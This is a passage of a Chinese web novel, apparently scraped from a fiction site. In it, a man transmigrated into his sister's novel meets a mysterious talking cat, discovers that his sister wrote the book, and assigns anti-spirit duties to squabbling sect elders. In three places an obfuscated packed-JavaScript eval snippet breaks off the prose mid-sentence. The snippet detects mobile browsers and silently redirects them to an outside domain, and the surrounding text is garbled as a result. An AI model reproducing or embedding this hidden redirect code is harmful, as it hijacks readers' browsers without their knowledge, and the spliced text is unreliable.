“行了,也不用和我玩什么猜谜游戏了,”谢因锁定小黑猫红宝石一般的眼睛,“你到底是谁?你压根不是仙界的灵宠吧?” 小黑猫满脸无辜,夹着嗓子:“咪——” 谢因才不吃这套,开始分析:“能把兰棹辞拍那么老远,修为居然远在他之上?按理说这样的——不应该听不懂人话吧,刚才在擂台上帮我的也是你?” “咪——” “为什么要装猫,难不成你是趁着流光祭溜进来的?还是拿了莫欺少年穷剧本的什么神仙法老……” “咪——” “还是你的原型是猫?你是妖界的?”谢因左看小猫,又看小猫,从头到尾把这只油光水滑的小家伙看了个遍,“你该不会是渡云的仰慕者吧?你喜欢他……所以化作原型来水月洞天扮猪吃虎?” 可能性很大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816323|175186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊,毕竟渡云自带那什么炉鼎体质,这种没见过世面的小猫妖猛的一见芳心萌动,于是默默守护也是很正常的事情。 这次小黑猫终于不咪了,眼中的竖瞳孔微微收缩了一下,竟发出一道温和的男声:“嗯,我喜欢你。” 谢因一怔,果然,和擂台上的声音一模一样!而且这温和中带着些许挑衅的声音与语调十分耳熟。 “哦,那难怪了,”谢因点点头,“不过不是我,你喜欢的是应该是原本的渡云……” 小猫抖抖脑袋:“我喜欢你。” 好吧,看来智商有点低。谢因不欲与它争执“原身”与“穿书”的区别:“行吧,你分不清,其实不一样……内什么,虽说方才要多谢你帮了我个大忙,但扶摇现在不大太平,又有浊灵入侵一事,万一你又被剧情卡bug……我的意思是,免得你给我找麻烦,还是哪儿来的回哪儿去吧。” 小猫甩头:“听不懂,我只是一只小猫咪。” 谢因:“别装听不懂!你对渡云,呃,对我暗生情愫,纯属意外。可你这么不明不白跟着我……” 真是有点担心你也要XXOO我啊,那到时候谁来救场?总不能指望十六岁的萧循吧。 黑猫歪了歪脑袋:“咪?” “咪什么咪,说人话。” “咪——” “……兰棹辞显然对你有所防备,要是将来调查你,肯定要惹出天大的麻烦……”谢因晓之以理,动之以情,絮絮叨叨和小猫咪说着,胸口却在此时突然浮出一阵钝痛,话音未落,竟猛地突出一口猩红的血来! 小黑猫顿时抖擞耳朵,跳到谢因面前:“是刚刚那个玄镜司的小弟子震伤的那处!” “什么……”这一处钝伤来得极猛,谢因又吐出一口血,心口汹涌地绞痛起来。 奶奶的,这修仙的一巴掌真不是盖的,谢因一时两眼一白,脑子猛地蒙了一下,捂着心口险些跪倒地上。 却未让他如愿。 一道温热的气息将他整个人包裹住,粗粝的皮革布料蹭在谢因脸侧,谢因眼前一片白光,晕眩不已,恍惚间只看到一个红衣的高大男人将自己揽起,看不清脸,依稀的轮廓中,对方脑袋上有一对还未收回去的毛茸茸的猫耳朵。 男人的声音贴着谢因的耳廓传来:“你现在凡胎□□,经不住这样的冲撞,我替你调息。” “怎么调……唔?” 随即,谢因只觉一股熟悉的、温和的灵力似乎顺着唇瓣被轻柔地渡了进来,与擂台上灵力充经脉时的感觉不同,这次更像是被亲手喂了一口川贝枇杷,相当神清气爽,胸口的钝痛逐渐被平息,但脑子却逐渐混沌晕眩起来。 他这是在干什么…… 谢因只觉得身体越来越轻,越来越软,如坠云端,而眼前始终是不明晰的,就像蒙着一层纱般,他始终只能看到赤红色的布料、一对摇晃的猫耳朵,毛茸茸粉嘟嘟的,以及对方在一阵调息过后,留下一句虚无缥缈的—— “我分得清。” 话音消散在水月洞天中,谢因眼前突然变得清明,身体也恢复正常,疼痛全无,神清气爽。 小黑猫仍旧乖巧地坐在谢因对面的寒玉床上,就像刚才的种种是谢因的幻觉。 “怎么回事……我又做梦了?” 谢因拎起小猫晃了晃,小猫本能想逃避谢因揪他后脖颈的动作,碍于猫的习性反抗不得,方才那横扫四方的强横灵力此时也消失得无影无踪,只留下一个看起来又无奈又无语的表情,最后扑腾着两条小腿奋力前游,舔了一口谢因的脸。 表情变成了得逞。 “咪!” 谢因还欲与小黑猫说些什么,就在此时,他的余光突然扫过一个鬼鬼祟祟的身影,在距离他们不远不近的地方露了个头,发现二人有所察觉,又惊弓之鸟般缩了起来。 谢因警铃大作:“谁?!” 12.如是因果 又是浊灵?谢因一凛,还未等他发声,小黑猫先一步会意,两只红色的眼瞳一瞪,手下也不留情面,一道裹着赤红色的电光直冲角落里去——! “等等等等等一下——饶命啊!我不是故意偷看的我我我我我是大大滴良民啊!” 什么死动静?! 一只圆滚滚的粉团子疑似将被劈的一片焦黑,抱头鼠窜地扑到了谢因脚下。 “谢……仙尊,我真的,我,”那声音抽抽噎噎,一个穿浅粉色校袍的小姑娘,头发梢和裙尾滚了一圈灰,抱着谢因的大腿直抖,“我回去一定老老实实干活儿,再也不到处瞎溜达,我其实是迷路了我真迷路了啊仙尊救命啊——” 这声音为什么越听越耳熟? 谢因把一条长腿从眼泪鼻涕里拯救出来,小姑娘一张脸哭得我见犹怜,谢因却只是看了一眼那张脸,顿时,觉得小黑猫那一雷是劈到了自己头上! 怎么会是她,为什么会是她…… 谢因愣住了,难道是因为自己穿书,影响了身边的人? 小黑猫见谢因一脸空白,还以为个小姑娘把他吓疯了,可算舍得说话了:“看衣裳,这是你们扶摇密宗司的门人,在附近鬼鬼祟祟,是见到有被浊灵附身的人?” 粉色衣裳的小姑娘听到猫咪开口倒是没什么反应,不知道是已经别吓蒙了还是灵宠会说话这种事在仙界司空见惯。 谢因猛地一抬头:“她身上有浊灵吗?” “你问我?你是晏清司的仙尊还是我是?”小黑猫歪了歪脑袋,倒是很好心地又加了一句:“不像。” 到底怎么回事…… 376号方才就着急下班,现在果然是已经下班了不在线,谢因人生第一次如此痛恨朝九晚五不加班双休制度——那个神秘的、二逼穿越管理局什么都干不好,凭什么有此等福利?! 关于猫的问题谢因暂且不着急了,他的目光在女孩儿身上仔仔细细刮了三遍,眼看她转身要跑,终于开口,声音又冷又厉: “你,给,我,站,住。” “仙尊……”粉裙子的小姑娘不仅站住了,甚至扑通一下跪得丝滑,狂搓手指一百八十遍,笑得比哭还难看,“如果有冒犯仙尊的地方,还望仙尊见谅。” “冒犯?”谢因冷笑,“你不认识,哦,你认识我。” “仙尊说哪里话?”小姑娘一双眼睛瞪得溜圆,“这,偌大扶摇,谁没听说过仙尊美名?只是……您常年闭关水月洞天,我们这些寻常弟子是不能常常见到的……弟子出于仰慕之情……这才偷偷来看看,没想到闹出这样的误会……” 小姑娘可怜兮兮地揪起一撮被法刃劈断的头发,眼睛眨了又眨:“仙尊可不可以放我离开?密宗司还有不少活儿等着我干呢哈哈哈哈。” 谢因不置可否,冷静地盯着女孩儿的脸:“可以,毕竟你自己都说了,是大大的良民,本仙尊怎么会无缘无故扣押‘良民’呢。” 粉袍小姑娘愣住了。 “那么,我可以问问这位姓谢的姑娘——”他双眼微眯,唇角勾起一个极为冷酷无情的弧度,吐出的毒液溅射量也能致死。 “英语六级考过了?实验数据都对了?毕业论文写完了?实习工作找到了?” 人心中的成见是一座大山。 研究生毕业的征途有四座。 “谢果,你出息了?连我也想骗?别说你只是在门口滚了一身泥,你三岁之前的尿片都是我换的!”此时的谢因比堕了魔的萧循更像个反派,像一座拔地而起的尖碑,“你跑到这里来干什么?!” 粉衣小弟子——谢因如假包换的亲妹妹谢果女士,两眼一闭:“哥?!” …… 谢因五岁那年,父母就把谢果送到了他身边。 他记得那是一个春天,婴儿床四角支起浅粉色的纱帐,里面粉雕玉琢的小团子非要攥着他的手指才能安眠,仿佛那里有比父母更加有安全感味道。 谢因、谢果。听起来就是兄妹。所以谢主管从小听过最多的话就是“你是哥哥,要照顾好妹妹,照顾好果果”。哪怕抚养小孩的义务明明应该首先落在家长身上,而不该过分苛求那个更年长的孩子。 奶瓶都把握不住的年纪就得握把妹妹的未来,谢因每天除了上学就是带孩子,考试,带孩子,兼职打工,带孩子,赶DDL,带孩子…… 从谢果六岁开始,她的上学路就是哥哥的自行车后座,饭盒里永远是哥哥提前备好的营养午餐,失踪的爹,离家的妈都在她的记忆里模糊成一张又一张旧照片,唯独谢因的部分永远明亮清晰。 而如今,哥哥就在眼前,谢果眼见拙劣眼见被拆穿,这厮用膝盖蹭蹭蹭往前就是几步,拜倒在渡云真人美丽的长衫下。 “哥啊,真的是你吗亲哥——妹妹我过得好!苦!啊!” 小黑猫仿佛没见过这种这么会变脸的小姑娘,被谢果一嗓子吓得原地蹦了起来,颤颤巍巍扒拉开谢因的袖子躲了进去,露出一双圆溜溜的红色眼睛探索地看着地上又哭又笑糊作一团的小疯子。 谢因伸腿把她隔开:“滚起来……地上凉。” ……彳亍口巴,是亲哥。谢果喜滋滋地欠揍挨骂,喜滋滋地遵命滚起来,丝毫不care自己这一身叙利亚风德行,盘腿坐在了谢因旁边的小榻上,开始摸黄花梨案上的杏仁干酪吃,速度之快、姿势之娴熟宛如二姨姥姥上炕。 “哥你怎么也进来了啊,你可不知道我这过得什么日子,那密宗司都不是人待的地方,这破藏经阁比我们学校图书馆大三倍,天天不是给这些老黄历扫灰就是缝补,我是谁,我是本书的亲妈原作诶,居然那么对我!一个堂堂985工科硕士三年加起来写得字都没有这三个月多,已经要患上腱鞘炎了,哎哥,这小猫打哪儿捡的,这么可爱给我摸摸……” 小黑猫顺着袖子一溜烟窜进了谢因的领口,满脸写着忠贞。 谢因不动声色地把那碟杏仁干酪挪走,面若冰霜:“你说什么?” 谢果一愣,似乎意识到自己吐露了什么惊天大八卦,两眼一闭,完了。 “这本破书是你写的?!”谢因只觉得浑身的血直冲脑门,“谢!果!我是不是最近没揍你皮痒了!” 谢果浑身一耸,大惊失色,开始装:“哥你说什么呢……什么小说不小说的,哈哈,我都没听说过……” “是吗?”谢因垂着眼睛看她,那里面没有一点当哥的温度,“我穿过来的第一天,系统就告诉我这是一本以我为原型写的什么……煌、文。我当时还在想,这本书的作者到底是谁,眼神不好还是脑子有病,找我当主角。” “你拿我当日本人整?” 谢果闭上了眼,谢果又睁圆了眼:“系统?哥你穿越还带系统的?系统怎么不找我?我还想问它到底发生了什么事呢!” 谢因眉头一皱,谢果穿越之后并没有跟系统对上,说明当时376号没有忽悠他,他确实只能链接到一位宿主,就是身为本书主角的自己。 那么谢果到底是怎么穿越的? “别打岔,”谢因拿腿拐了那根棒槌一下,“什么居心,一五一十给我撂了。” 见蒙混过关是不好使了,谢果只好实话实说:“这就,就……工科研实验压力实在太大,为了避免哪天真被忽高忽低忽悠人的数据逼死在实验室里,我这不是,决定找一个不烧钱还解压的爱好。” 谢因眉梢一跳:“你的爱好就是写煌.文?” 谢果讨好地嘿嘿了两声:“其实严格意义上来说,这篇文并不是真的以你为原型写的!但我这个人你知道,闭门造车又对三次男没兴趣,根本接触不到什么良好的主角人设模型……哥你又是个难得正常的男的,所以我就……不知不觉就代入了一些性格特质,用了一些艺术夸张的手法塑造了渡云。” 至于穿越过来之后为什么书里所有人都默认渡云就是谢因,谢果也不知道,只能认为是这个乱七八糟的世界的一些自我修复功能。 “其实我这本书在我们那个论坛上还挺受欢迎的啊,都在夸我写的男主角很好……”谢果悄悄把“嬷”字儿咽了,“不过我们是免费网站!为爱发电!绝对没有赚到一分钱请大人明鉴啊。” 谢因揉了揉酸胀的眉心,这算什么事儿。 “但你说,你穿过来已经三个月了?”谢因突然想到了什么重点。 “是啊!那天我接到你公司电话,说你加班出事了在抢救,我急得不行!骑车没注意红绿灯,和迎面来的一辆外卖车创上了,当时眼前一黑,然后就到这儿了……”谢果仰着脸回忆了一下,“这三个月我都在密宗司打杂,反正我大概只是个很不起眼的小弟子,朋友嘛只有那么几个,我都糊弄过去了。直到前几天我才打听到萧循的情况,拼凑出一点时间线,发现我的男主……呃,发现哥你要出关了,想来看看这个剧情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823805|175186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底怎么发展的……” 谢因忖思起来,他到这个世界准确说只有一天,可根据谢果说的,她是在自己加班猝死后才穿进来的,却已经来了三个月——难道说这个穿书世界的时间线并不跟着现实世界走,且并不固定,而是随机的,如果还有第三个人穿进来,也有可能穿进几年前,甚至几百年前? 谢因没多说什么,只是看着谢果,让她继续说。 “谁知道你……我……那个……我真的……”谢果话未说完,不知是不是回忆起来自己这篇破文的梗概,不知是不是想起了自己为了什么xp啊什么解压啊胡写一通的各种虐身虐心的剧情,悲从中来,又哽了一声,眼泪止不住地落下来,“要是我知道会让你碰上这种事儿,我把手剁了也不写这文儿啊……” 小姑娘哭得抽抽噎噎,抱着腿蜷成一团,可怜得要命。谢因只好认命似的叹了口气。 没辙儿,谢因也知道,现在责怪谢果没有任何意义,何况从她也并不是真的乐见其成。想必从熟悉的校园突然降落到这个世界,还没有系统解释一切,这丫头也吓得够呛,能保住狗命不寻死,已经是长足进步了。 “别哭了,”谢因顿了顿,又说,“算了,你哭吧。” 谢果:……? 谢因长叹一口气:“还好你没到处乱跑,现在碰上了,也是好事。” “诶!哥,要不你以调查浊灵需要借人的名义,把我从密宗司要出来,我记得我当时的设定里密宗司掌司是个i人老头,特怕惹麻烦,渡云仙尊问他要人他肯定不会不放人的!”谢果心态调整得很快,立刻替自己找到了出路,“哥你不是有系统和主线任务吗,这本书都是我写的,我肯定能帮到你不少!我之后就跟着你,指哪儿打哪儿!” “你就是不想回去抄书……”谢因戳穿她,“我也不可能放你一个人在那儿,就算你不说,我也是要去要人的。” 谢果仿佛一下子有了主心骨,那些穿越之后的不安、孤独和绝望顺水飘走了,她胡乱蹭了两把脸,勉强“嗯”了一声,“哥,我们真能回去吗?那系统到底怎么说?” “如果系统不是闲的没事耍我开心……只要把你写的这些乱七八糟的人物都‘洗’正常,阻止魔尊黑化,理论上就可以,”谢因跳过了他刚刚穿越到故事末尾里发生的尴尬事,言简意赅地解释了,“你的男主角,你应该了解,怎么避免萧循黑化,你今晚拿个方案给我。至于浊灵入侵那边我刚也拟了个方案……” 谢果目瞪口呆:“哥,你如今是真当上官儿了,这话说的跟我导一模一样。” 你导恐怕短时间内看不到你注水猪肉一样的论文,正开心呢吧。 谢因还想跟谢果交代几句,怀中的小猫忽然一抖耳朵,从谢因的领口跳了出来。尾巴尖指了指不远处,一个晏清司弟子打扮的人御剑点地,连滚带爬地找谢因来了。 “仙尊!仙尊!大事不好了——” 谢因眼皮又跳,不是说兰棹辞雷霆手段吗,怎么这一会儿场子都压不住?晏清司手里的弟子都什么尿性,慌慌张张的,看起来像是个个能把咖啡泼在投标文件上的棒槌。 “晏清司,扣下的那些弟子,集体发狂了,实在瞒不住,惊动了其他几司的长老,现在这些前辈们都在晏清司跟兰掌司讨说法呢,说,说……” 这台词在他嗓子眼儿里卡了半天,活像口咳不出的脓痰。 于是黑猫纡尊降贵拿尾巴抽在了他背上,险些把人锤进地里。 “说说说……哎呦!说您刚出关浊灵就暴动,没准是您跟魔界有勾结——已经惊动道天司了,兰掌司说让您先回晏清司一趟,清洗仪式结束后,他送你先去避避风头,浊灵的事……” 谢果偷偷看了她哥一眼,发现大祸临头的谢因竟然不但不慌,还有几分“跃跃欲试”。 “避什么风头?有问题就处理问题,你们兰掌司平时也这么感情用事吗?”谢因一挥手,锤在地上那位弟子的领子已经被他拎在手里,“你回去说一声,让兰棹辞把那些组……掌司长老们都留在晏清。” 谢果十分兄妹齐心地贴过来:“哥,你一般有这个表情的时候,好像就有人要倒霉了。” “是啊,”谢因冷笑,“脑子里刚拟好的应急预案……唔,人手就立刻送上门来了。” 谢果:导师在上,信女愿一生荤素搭配供奉自动化神教,只愿未来不沦为资本的牛马,阿门。 13.扶摇大厂 或许是谢因先遣回来报信的弟子跟兰棹辞通了气,待谢因等人到时,只见晏清司观德殿十八阶白玉垒,浩瀚澄宇,兰棹辞负手立于阶上,眉宇间蓄着些耐心告罄的冷意。 阶下各司掌司长老“欢聚一堂”,正七嘴八舌要他师弟对浊灵入侵给个说法,他袖子里的一叠符纸正虚悬待发。 师弟为什么不让他把人打发走?他到底想干什么? 谢因的应急预案很简单也很耳熟:模块管理,隔离病号,三天两检——在不清楚现在到底还有多少没有漏网之鱼的情况下,居家隔离,网络办公。 原本担心流光祭浊灵入侵会让兰棹辞颜面扫地,故而没考虑大张旗鼓搞隔离措施,目前看来,这个魅魔男主的体质不仅给他自带滤镜高光美人痣,还带来了无穷无尽的debuff,既然浊灵入侵的屎盆子不论如何都会水灵灵地扣在自己头上,那这个闲事就得换个方法管了。 揣着这样的觉悟,谢因带着把脸抹成了乞丐的谢果,和不论怎么说反正就是装听不懂坚决不离开谢因半步的猫,踏进这对他来说尚还万分陌生的晏清司。 屋内,被浊灵附身而发狂的弟子正在哀嚎,屋外,诸位掌司对谢因口诛笔罚——迎面扑来的鸡飞狗跳跟二环里的菜市场也无甚区别。 除了刚刚在观剑台被谢因一通抢白无地自容的玄镜司长老,篁歧司、密宗司的人也乌央乌央来了不少,原本他们以为,就兰棹辞这个宝贝师弟跟眼珠子似的德行,应当不会把谢因交出来了,可谁知谢因不仅来了,还相当有恃无恐,迟到的理直气壮。 谢因站稳身形,扫视一圈:“人真不少。” ——这架势,仿佛他已经宰了十只浊灵荡平了整个扶摇。 一时间口诛笔伐泼到了他那张惊艳绝伦的脸上,倒没撬动他一根眉毛。 “我说,诸位,”谢因把谢果往自己身后藏了藏,任凭小猫在他肩头慢条斯理地磨爪,一点儿烟火气都没有的声音清泠泠的泼了回去,“扶摇现在确实姓谢了?” 好狂妄的口气?! 阶下一片哗然,连兰棹辞都不禁皱眉——他师弟从前就离经叛道,却没想到能说出这样张狂的话来。 “渡云!”玄镜司这位脾气不怎么样的直肠子鸣松长老果然第一个跳起来,“你不要以为兰棹辞护着你,你就可以为所欲为!连道天司的镇天碑都不放在眼里……扶摇第一金仙还轮不到你来当!” “哦,”谢因没有给人到处当爹的爱好,只一眼扫过去,笑了半声,“既然诸位没有认我当爹的意思,却都哭到我晏清司门上来,又是什么道理。” 篁歧司掌司是个瘦条条的老头,颇有点墨点子文人的气质,此时拈着他三绺不知猴年马月清洁过的山羊须子,黑着脸开口:“晏清司负责护卫扶摇安危,如今浊灵已经暗害了我扶摇十余弟子,不问你晏清司,难道问我?” “不该问?”谢因大致从衣服颜色里分辨出他们分属几个门派,晏清司的弟子都穿一身苍青色,而鸣松长老的玄镜司则是湖水蓝,穿着个灰不溜丢的鹅黄道袍的,八成就是篁歧司的人了,很符合他对一般土木人的刻板印象,“篁歧司负责检修整个扶摇的结界,同时还要负责提供侦辨浊灵的灵器法宝,结界受损不怪自己修缮不利,倒是有脸怪晏清司,你们篁歧司每年的工程款打兰棹辞账上了?不该问你?” “还有,”谢因把目光投向鸣松长老,“玄镜司作为监管部门,这么些年一直把护卫扶摇的工作往晏清一丢了之,这些年可有寸进?对浊灵清洗有何创新见解?都没有,好,那你们一个两个腆着个脸好意思站在这儿?” “你——” “至于密宗司,”他连眼神都没再递给旁人一个,对着那溜边吃瓜的粉衣服一干人抬了抬眉,“密宗司多年来守护藏经阁,千万密卷,门下弟子成天把书正过来抄一遍反过来抄一遍,仍未找出根除浊灵的法子,不说‘解法’了,那么多年,搁我那儿科兴都打三针了,你们密宗司连个疫苗都没研发出来……效率这么低,就别在藏经阁里扫灰了,拨点人手出来清点你们的弟子,还有扶摇的人员数目,哦,你们这个弟子借我用两天,回头还你。” 谢果适时地从谢因背后探出一个脑袋,又飞速地收了回去。 密宗司:…… 这么丝滑地给我们派活儿吗?! 还有那小丫头,就这么明目张胆的“认贼作父”了? 几位密宗司的前辈瞪着谢果,谢果连忙把头埋进衣领里,假装自己是一只卖相不太好的鸵鸟。 她哪儿知道她那个工作狂老哥在公司里是这种人设?! 眼见几家长老已经完全被谢因怼得一佛出世二佛升天,谢因趁热打铁,登上玉阶,开始他生前最擅长的——小组工作分配: “晏清司负责扶摇地安全保障工作,也是本职,责无旁贷,辛苦兰师兄将修为最精深的弟子编成清洗小队,由几位长老负责分头带队,组织净化被浊灵附体的弟子。” “篁歧司负责检修整个扶摇的结界系统,将从前侦测浊灵的仪器都从仓库里拿出来清灰,能用的在扶摇各星屿人员流动最密集处投放,小型手持的则分派到各个寮舍人工排查。” “密宗司负责安抚参加了流光祭的其他宾客,整理档案信息,筛选出易被浊灵入侵弟子,观察三天内行动状态,如有异动,晏清来报。” “……至于其他几司,机动形成工作专班,牵头的来登个记,确保事情结束前随叫随到,一旦有异常发生,响应时限半盏茶之内,可以做到吧。” 鸣松长老哪能被他随手分配,脸色一恼,正欲越众而出,便见谢因身边那只黑猫窜上他的肩,渡云真人周身顿时发出一阵暗影流动的红色法焰。 而兰棹辞的引雷符更是在他这个宝贝师弟身后列成一排,一副谁敢不听便引天雷轰死他的架势,甚至不需靠近,便能感到一阵要将人烤化的炽热气息。 鸣松长老见没有其他人跟上自己的步子,讪讪地把越众而出的一条腿收了回去。 “这不是我危言耸听,”谢因从肚子里搜刮出一段几乎每个牛马都会背的台词,“公司……扶摇不是晏清司的扶摇,更不是我谢某人的扶摇,能不能度过难关,还需仰仗各位群策群力,哪一个环节掉了链子,那都是丢得整个扶摇仙君们的脸,想来各位这么大岁数,也没怎么拿脸扫过地吧。” 兰棹辞踱至谢因身侧,压低声音:“十二掌司也不是吃素的,你这样说,如何保证他们会照做……” “师弟当然没有这样的能耐,”谢因冲兰棹辞露出一个堪称完美的微笑,正配合上一阵迎面而来的微风,发梢擦上兰棹辞的脖颈,“可不是有师兄吗?” 他这一笑,在兰掌司眼里那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838698|175186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是春风化雨,发梢一挠,挠得道心不稳——那一排引雷符这下是演都不演了,直接团团围住众司仙尊,成巨大的包围之势,顿时扶摇仙岛内天雷滚滚,山雨欲来。 真别说,这个万人迷男主体质虽然给自己惹了不少麻烦,谢因心想,但有时候加以利用,也是真好使。 在天雷符和自己脸面的镇压下,只有两个特别不怕死的还出来嗫嚅两句:“活都派给我们了,你渡云真人倒是清闲?” “我?”谢因揣着猫打了个哈欠,“我还有正事要做。” 真正打开结界放浊灵入扶摇的凶手,他还没抓到。 …… 随便找了个弟子带路,谢因找到了自己在晏清司的“宿舍”。 作为扶摇第一大派,渡云真人的“青崖居”修得相当漂亮,比起他那闭关用的水月洞天,青崖居更符合现代人刻板印象里古代人的审美,有庭有院有格局,云端嵌着一套小桥流水,石帷垒起来的小潭里还别出心裁地养了乌龟,以谢因完全不专业的眼光来看,挺讲究风水。 谢果对自己笔下的世界相当好奇,东张西望,差点从亭子里把自己推下去。 还好小猫反应快,拿尾巴勾了一下小姑娘的腰,轻拿轻放地扔在了石凳上。 谢果惊了:“哥,你这猫好神!” 黑猫晃了晃尾巴:“不用谢。” 谢果更愣了:“声音也好听!你是妖界哪只神兽,是1吗,我记得没写过你……” 没写过你睡我哥呀。 猫没鸟她,窜到一旁正在描描画画什么的的谢因身边去了。 谢果追过去定睛一看,好么,思维导图。她顺着谢因写字的笔尖向上看,第一个问题,浊灵事变的原因。 ……他是要编历史书么。 “我来说我来说,”涉及到“专业”领域,谢果觉得自己的形象陡然长高了几尺,“浊灵嘛,确实是围绕这段剧情的重大小boss,不过我设计它只是个情Q……情感道具,浊灵的存在单纯只是为了让渡云灵脉尽断,炉鼎体质暴露,引来几界大佬觊觎,开始上扶摇抢夺渡云!混战中,渡云被妖界之主息衍掳走,萧循一怒之下追到妖界,开启了六界副本哈哈哈。” 这什么狗屁前情提要,还没有376号给的资料逻辑自洽,还哈,哈你个脑袋。 见亲哥脸色越来越黑,谢果悲从中来:“都说了这是篇煌文,煌文要什么逻辑啊!我又不是剧情流的写手,能写出这么大一个世界观已经很不容易了,哥你不要吹毛求疵好不好。” “‘这么大一个世界观’?”谢因冷笑,“是挺大的,一个仙界被你扯出来这么多不干实事的部门,既不好管理又容易扯皮,写出来干什么?凑人头?送人头?” 谢果:“……为了多写几个攻来和你花前月下你侬我侬。” 谢因:。 畏惧了。 谢果低头苦思冥想,从那XXOO的动作戏里勉强分辨出一点剧情脉络来献宝:“啊!原作里破坏结界,把浊灵放出来的是你师弟玉衡真人,他对你爱而不得生变态,想把扶摇彻底搅成一锅粥!” 谢因记下了玉衡的名字,可此时谢果又说:“可是出事那天我见过玉衡真人,他压根不在扶摇啊!” “什么意思,”谢因一愣,“你是说现在的剧情连主线都没按你写的走?” 14.玉衡真人 谢果两根眉毛拧成一小团:“好像是这样的……因为玉衡真人破坏结界是本书的第一个剧情嘛,我肯定很在意啊,特地想去围观一下来着,可那天在结界左等右等都没看见玉衡,我就上他平时最爱去的地方打探,那地方离扶摇可远了,来回怎么说都得半天,我去找玉衡的时候已经是傍晚,他正喝得烂醉,根本不可能在当天回扶摇破坏结界的,我还觉得奇怪呢。” 谢果想了想:“那时候我就开始怀疑,这个世界虽然和我设定的差不离,但好像又会产生偏差?譬如你本来应该在流光祭擂台上被发现丧失了修为,被道天司关进水月洞天,各界大佬闻讯而来跟你颠鸾倒凤不知天地为何物……错了错了,不说了!” 谢果被哥哥叩头,揉着脑袋瓜子远离了谢因一些:“而玉衡真人破坏结界也破坏得非常明显,后来随便一查就查出来了,这段剧情就这么收尾了。” “可现在,你没有在擂台上出状况,玉衡也有完美的不在场证明,甚至我还是他的证人,”谢果小脸一垮,“为啥呢?没逻辑啊!” 谢因听得额头上的青筋一跳跳的,只能先揉揉眉心:“逻辑还是有的。” 在376号上次发出尖锐爆鸣后,谢因就分析过现在的情势——他意外借黑猫之力在擂台上大出风头,因此隐瞒了灵脉尽断的事,但除他之外,所有人的主线还是跟着原作走的,他这条线与原作不符,是因为黑猫是原作里并不存在的新角色,猫带来了变数,才会导致之后一连串的蝴蝶效应。 按照他的观察,这个世界一涉及到重大剧情节点,所有人都会被夺舍一样为实现剧情开路。 饶是如此,还是出现了误差。 按照谢果说的,本应该是“黑手”的玉衡真人突然没按剧情走,做出了与原作相悖的事,唯一的可能就是他或者他身边的什么人也出现了变数,导致了他这条线的蝴蝶效应,以至于世界无法自主地将剧情逆转回来。 会是谁呢? 谢因往身后的一片祥云上一靠:“你和我具体说说玉衡。” “哦哦,玉衡嘛,就是你师弟。这人本来就是仙胎,同你和兰掌司不一样,生来就在扶摇的,不用修炼就是上仙。但是因为他入门晚,修炼又惫懒,没卷过你俩,最后混了个长老的挂名,四处花天酒地。”谢果一谈起自己为她哥量身定做的“风流攻”,那叫一个嘴皮子顺溜,“十六年前,渡云真人把萧循捡回来后,就去洞府闭关了,萧循一个奶娃娃无人照顾,就归到了闲人玉衡的手上,但是多年来玉衡对萧循都不好,只有你……渡云出关的时候关心过萧循几次,也只有渡云出关的时候晏清的弟子才会没那么苛待他,所以这小孩儿一来二去吧……” 谢因彻底无语:“……平均年龄几百+的修仙界也搞校园霸凌?” “……总得有个黑化理由,不然剧情还怎么刺激地进行下去,男男主还怎么酱酱酿酿!” 有这样自相矛盾的逻辑互相攻讦,这个b世界不崩才怪。 眼见谢果那用车拉的废话立刻就要出闸,谢因只好再把话题再次兜回玉衡身上:“照你的说法,玉衡就是个烂泥扶不上墙的仙界太子爷,他有什么理由把浊灵放进扶摇,砸自己饭碗,怎么,仙界的酒也能让人喝中风?还是他也沾了什么断肠仙魔生死恋?” 谢果:“……哥,你这张嘴真是万里挑一的狠毒。” “玉衡的,玉衡的目的啊……”谢果磕磕巴巴地说,“就是想让渡云身败名裂啊,因为渡云现在灵脉尽断,还有炉鼎体质,一旦暴露……” “暴露?玉衡跟渡云有仇?”如果原书的渡云能把萧循交给玉衡来养,那么他们之间的关系应该没有那么差才对,否则只能说渡云对萧循其实也没有多关照,权当捡回来个小猫小狗,养死了也无所谓。 “有啊!玉衡觊觎渡云师兄已久,年深日久生变态,想要独占他师哥。” 什么乱七八糟的,谢因脑子里的逻辑在打架。 “他如果真的对渡云觊觎已久,把渡云的“魅魔”体质公之于众,不是更达不到目的吗?毕竟他修行不到位,和其他想睡渡云的大佬比,他根本连插队都插不进去。”谢因彻底悟了,尽管谢果确实用她的笔建构了《仙堕》这个世界,可她根本什么都没想,先射箭后画靶子的破事估计比比皆是,找她盘逻辑算是踢到铁板了,“如果我是玉衡,意外得知自己的性幻想对象有了这样的丑闻,第一时间就会封掉水月洞天。” 